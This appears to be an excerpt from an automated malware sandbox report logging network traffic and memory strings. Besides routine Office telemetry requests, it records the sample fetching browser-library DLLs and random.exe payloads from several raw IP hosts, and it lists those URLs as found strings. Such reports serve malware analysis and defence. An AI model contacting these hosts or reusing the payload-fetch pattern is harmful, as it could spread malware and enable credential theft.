Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11

Source: 7b210589-b080-4419-819b-b96eac056685.tmp.15.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: httpbin.org

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.css
Source: 222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://.jpg
Source: file.exe, 00000000.00000002.1808225152.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1806196149.0000000000557000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1808225152.000000000119E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1808225152.00000000011F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
